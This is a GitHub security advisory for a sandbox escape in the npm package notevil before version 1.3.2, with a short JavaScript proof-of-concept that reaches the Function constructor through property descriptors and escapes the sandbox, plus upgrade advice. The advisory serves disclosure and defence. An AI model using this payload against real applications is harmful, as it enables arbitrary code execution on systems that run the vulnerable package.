GitHub Advisoryadvisory · npm
GHSA-7r5f-7qr4-pf6q Sandbox Breakout / Arbitrary Code Execution in notevil
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- notevil
- Severity
- High
- Reviewed
- 2020-08-31
Affected packages
• npm notevil: < 1.3.2 → fixed in 1.3.2
Description
Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:
```
var safeEval = require('notevil')
var input = "" +
"function fn() {};" +
"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" +
"var properties = Object.values(constructorProperty);" +
"properties.pop();" +
"properties.pop();" +
"properties.pop();" +
"var Function = properties.pop();" +
"(Function('return this'))()";
safeEval(input)```
Recommendation
Upgrade to version 1.3.2 or later.